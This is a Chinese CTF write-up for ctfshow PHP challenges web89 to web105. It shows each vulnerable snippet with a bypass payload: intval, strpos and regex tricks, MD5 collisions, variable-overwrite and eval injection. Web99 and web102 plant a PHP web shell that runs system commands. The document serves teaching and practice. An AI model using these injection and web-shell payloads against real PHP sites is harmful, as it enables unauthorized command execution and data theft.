web89
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | include("flag.php");highlight_file(__FILE__);
 
 if(isset($_GET['num'])){
 $num = $_GET['num'];
 if(preg_match("/[0-9]/", $num)){
 die("no no no!");
 }
 if(intval($num)){
 echo $flag;
 }
 }
 
 | 
遇事不决先试试数组捏,?num[]=1
web90
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | include("flag.php");highlight_file(__FILE__);
 if(isset($_GET['num'])){
 $num = $_GET['num'];
 if($num==="4476"){
 die("no no no!");
 }
 if(intval($num,0)===4476){
 echo $flag;
 }else{
 echo intval($num,0);
 }
 }
 
 | 
4476后加任意字符即可。?num=4476a。
我们默认的上传类型就是字符型,我们直接在末尾添加一个字符就可以。
web91
https://blog.csdn.net/qq_46091464/article/details/108278486
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | show_source(__FILE__);include('flag.php');
 $a=$_GET['cmd'];
 if(preg_match('/^php$/im', $a)){
 if(preg_match('/^php$/i', $a)){
 echo 'hacker';
 }
 else{
 echo $flag;
 }
 }
 else{
 echo 'nonononono';
 }
 
 | 
这个题一上来没看懂,要搞懂他先要理解他的过滤是什么意思。
- ^“行首”元字符 (^) 仅匹配字符串的开始位置
- **$**“行末”元字符 ($) 仅匹配字符串末尾,或者最后的换行符(除非设置了 D 修饰符)
默认情况下,preg_match函数会认为目标字符串是单行组成的,当目标字符串中有换行符或者匹配中出现^或者$会受到影响。
并且末尾的m的意义如下。
因此综上意思就是,要求传入内容中有php,但是第一行中没有php。

因此payload:abc%0aphp
备注
附PCRE模式修正符
参考文章·:https://blog.csdn.net/forest_fire/article/details/50944901

wp中提到的另一个漏洞:
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
web92
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | include("flag.php");highlight_file(__FILE__);
 if(isset($_GET['num'])){
 $num = $_GET['num'];
 if($num==4476){
 die("no no no!");
 }
 if(intval($num,0)==4476){
 echo $flag;
 }else{
 echo intval($num,0);
 }
 }
 
 
 | 
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以。
payload:
| 12
 3
 
 | ?num=0x117c    ?num=010574
 ?num=4476e123
 
 | 
web93
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | include("flag.php");highlight_file(__FILE__);
 if(isset($_GET['num'])){
 $num = $_GET['num'];
 if($num==4476){
 die("no no no!");
 }
 if(preg_match("/[a-z]/i", $num)){
 die("no no no!");
 }
 if(intval($num,0)==4476){
 echo $flag;
 }else{
 echo intval($num,0);
 }
 }
 
 | 
十六进制里面会有字符,但是八进制仍然可以使用。
payload:010574
web94
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | include("flag.php");highlight_file(__FILE__);
 if(isset($_GET['num'])){
 $num = $_GET['num'];
 if($num==="4476"){
 die("no no no!");
 }
 if(preg_match("/[a-z]/i", $num)){
 die("no no no!");
 }
 if(!strpos($num, "0")){
 die("no no no!");
 }
 if(intval($num,0)===4476){
 echo $flag;
 }
 }
 
 | 
strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。这里检测了不让第一位为0。
但是这个函数是可以被绕过的,利用%0a、.、+、
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | 对于strpos()函数,我们可以利用换行进行绕过(%0a)payload:?num=%0a010574
 也可以小数点绕过
 payload:?num=4476.0
 因为intval()函数只读取整数部分
 还可以八进制绕过(%20是空格的url编码形式)
 payload:?num=%20010574
 ?num= 010574
 ?num=+010574
 ?num=+4476.0
 
 | 
web95
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | include("flag.php");highlight_file(__FILE__);
 if(isset($_GET['num'])){
 $num = $_GET['num'];
 if($num==4476){
 die("no no no!");
 }
 if(preg_match("/[a-z]|\./i", $num)){
 die("no no no!!");
 }
 if(!strpos($num, "0")){
 die("no no no!!!");
 }
 if(intval($num,0)===4476){
 echo $flag;
 }
 }
 
 | 
同上题payload:num=%20010574
web96
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | highlight_file(__FILE__);
 if(isset($_GET['u'])){
 if($_GET['u']=='flag.php'){
 die("no no no");
 }else{
 highlight_file($_GET['u']);
 }
 }
 
 
 | 
payload:?u=./flag.php这个./可以表示当前目录
web97
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | include("flag.php");highlight_file(__FILE__);
 if (isset($_POST['a']) and isset($_POST['b'])) {
 if ($_POST['a'] != $_POST['b'])
 if (md5($_POST['a']) === md5($_POST['b']))
 echo $flag;
 else
 print 'Wrong.';
 }
 ?>
 
 | 
直接用数组绕过:a[]=1&b[]=2
方法二 强碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
需要用bp提交。
web98
https://www.php.cn/php-weizijiaocheng-383293.html
https://www.php.cn/php-notebook-172859.html
| 12
 3
 4
 5
 6
 7
 
 | include("flag.php");$_GET?$_GET=&$_POST:'flag';
 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
 $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
 
 ?>
 
 | 
分析代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | include("flag.php");$_GET?$_GET=&$_POST:'flag';
 
 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
 
 $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
 
 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
 
 
 
 | 
可以理解为:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?phpinclude('flag.php');
 if($_GET){
 $_GET=&$_POST;
 址)
 }else{
 "flag";
 } i
 f($_GET['flag']=='flag'){
 $_GET=&$_COOKIE;
 }else{
 'flag';
 
 | 
所以直接num传入一个值,然后将post传入HTTP_FLAG=flag即可

web99 in_array
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | highlight_file(__FILE__);$allow = array();
 for ($i=36; $i < 0x36d; $i++) {
 array_push($allow, rand(1,$i));
 }
 if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
 file_put_contents($_GET['n'], $_POST['content']);
 }
 
 
 | 
可以理解为:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?phphighlight_file(__FILE__);
 $allow = array();
 for ($i=36; $i < 0x36d; $i++) {
 array_push($allow, rand(1,$i));
 } i
 f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
 
 file_put_contents($_GET['n'], $_POST['content']);
 
 } ?
 >
 
 | 
in_array函数的漏洞:


GET传入:n=1.php
POST传入:content=<?php system($_POST[1]);?>
然后就进入1.php,post传入:1=tac fl*
web100
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | highlight_file(__FILE__);include("ctfshow.php");
 
 $ctfshow = new ctfshow();
 $v1=$_GET['v1'];
 $v2=$_GET['v2'];
 $v3=$_GET['v3'];
 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
 if($v0){
 if(!preg_match("/\;/", $v2)){
 if(preg_match("/\;/", $v3)){
 eval("$v2('ctfshow')$v3");
 }
 }
 
 }
 
 | 

所以这道题只需要让v1是truev0就是true了,后面都不用管。然后v2使用命令执行即可。
payload:?v1=1&v2=system('ls')/*&v3=*/;
?v1=1&v2=system('cat ctf*')&v3=;
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
这个也行。
最后要将0x2d要转化成-
ctfshow{ee9557f4-b67a-4c79-8603-e5653885d260}
问题
但是有几个问题,为什么只能使用//来注释不能用//,而且不能如下赋值:**
**?v1=1&v2=system('cat ctf*');/*&v3=*/**
但是神奇的是用写在本地之后运行这种就可以了。
方法二
利用反射类
payload:?v1=1&v2=echo new ReflectionClass&v3=;
关于反射类:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | <?phpclass A{
 public static $flag="flag{123123123}";
 const  PI=3.14;
 static function hello(){
 echo "hello</br>";
 }
 }
 $a=new ReflectionClass('A');
 
 
 var_dump($a->getConstants());  获取一组常量
 输出
 array(1) {
 ["PI"]=>
 float(3.14)
 }
 
 var_dump($a->getName());    获取类名
 输出
 string(1) "A"
 
 var_dump($a->getStaticProperties()); 获取静态属性
 输出
 array(1) {
 ["flag"]=>
 string(15) "flag{123123123}"
 }
 
 var_dump($a->getMethods()); 获取类中的方法
 输出
 array(1) {
 [0]=>
 object(ReflectionMethod)
 ["name"]=>
 string(5) "hello"
 ["class"]=>
 string(1) "A"
 }
 }
 
 
 | 
web101
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | highlight_file(__FILE__);include("ctfshow.php");
 
 $ctfshow = new ctfshow();
 $v1=$_GET['v1'];
 $v2=$_GET['v2'];
 $v3=$_GET['v3'];
 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
 if($v0){
 if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
 if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
 eval("$v2('ctfshow')$v3");
 }
 }
 
 }
 
 | 
和上个题差不多,也是用反射类解决的。
?v1=1&v2=echo new Reflectionclass&v3=;,将0x2d替换掉:
3c1e313c0x2dbfc60x2d49940x2d938b0x2ddd880411ad8=》3c1e313c-bfc6-4994-938b-dd880411ad8
但是flag格式最后一个是12位,因此需要爆破出最一位。
0-c一个一个尝试就行。
web102 isnumeric and isnumeric绕过
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | highlight_file(__FILE__);$v1 = $_POST['v1'];
 $v2 = $_GET['v2'];
 $v3 = $_GET['v3'];
 $v4 = is_numeric($v2) and is_numeric($v3);
 if($v4){
 $s = substr($v2,2);
 $str = call_user_func($v1,$s);
 echo $str;
 file_put_contents($v3,$str);
 }
 else{
 die('hacker');
 }
 
 
 ?>
 
 | 
substr() 函数返回字符串的一部分。
call_user_func()函数把第一个参数作为回调函数调用
file_put_contents() 函数把一个字符串写入文件中。
代码分析:v4检测是否进入判断。v2会被删除掉前两个字符,v1调用方法传入删过字符的v2,再将结果写入文件v3。
因此核心操作语句在v2。
上来有个数字检测,这里要使用hex2bin。
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法。
用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串(但是下面这个不行)
| 12
 3
 4
 
 | $a = "<?=`cat *`;>";$b = base64_encode($a);
 $c = bin2hex($b);
 echo $c;
 
 | 
注意这个上面的不行,因为转换后的hex中除了e有其他的字符,wp中提到了使用的以下这种
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?php
 $a='<?=`cat *`;';
 
 $b=base64_encode($a);
 
 $c=bin2hex('PD89YGNhdCAqYDs');
 
 echo $c;
 
 ?>
 
 
 | 
然后生成的hex串:5044383959474e6864434171594473(这里的e会被当作科学计数法)为了绕过截断需要在前面随便加两个字符11,v3使用伪协议执行
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST传入bin2hex的反函数:v1=hex2bin

web103
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | highlight_file(__FILE__);$v1 = $_POST['v1'];
 $v2 = $_GET['v2'];
 $v3 = $_GET['v3'];
 $v4 = is_numeric($v2) and is_numeric($v3);
 if($v4){
 $s = substr($v2,2);
 $str = call_user_func($v1,$s);
 echo $str;
 if(!preg_match("/.*p.*h.*p.*/i",$str)){
 file_put_contents($v3,$str);
 }
 else{
 die('Sorry');
 }
 }
 else{
 die('hacker');
 }
 
 
 | 
同上题payload
web104
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | highlight_file(__FILE__);include("flag.php");
 
 if(isset($_POST['v1']) && isset($_GET['v2'])){
 $v1 = $_POST['v1'];
 $v2 = $_GET['v2'];
 if(sha1($v1)==sha1($v2)){
 echo $flag;
 }
 }
 
 
 | 
get,post全传入1即可,或者传入数组

web105 $$a 变量覆盖
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | highlight_file(__FILE__);include('flag.php');
 error_reporting(0);
 $error='你还想要flag嘛?';
 $suces='既然你想要那给你吧!';
 foreach($_GET as $key => $value){
 if($key==='error'){
 die("what are you doing?!");
 }
 $$key=$$value;
 }foreach($_POST as $key => $value){
 if($value==='flag'){
 die("what are you doing?!");
 }
 $$key=$$value;
 }
 if(!($_POST['flag']==$flag)){
 die($error);
 }
 echo "your are good".$flag."\n";
 die($suces);
 
 | 
比赛之前遇到好多次这种题了,但是看了wp也没有很好的学明白,看到了一份wp里面讲的很清楚。
采用中间变量来解决:
error=a=flag
GET中error不能在等号左边。
POST中flag不能在等号右边。

GET:a=flag
POST:error=a
这样就达成了一种情况:
首先要知道传入的值是文本,$$key=$$value达成了$a=$flag,后半段同理,$error=$a这样就达成了值桥接。这样文末的判断才会判断为正。
看了一眼wp发现一个更牛的做法,直接get传入:
?suces=flag&flag=
这就是构造的suces=flag=空
后面的默认传入flag就是空对应到flag。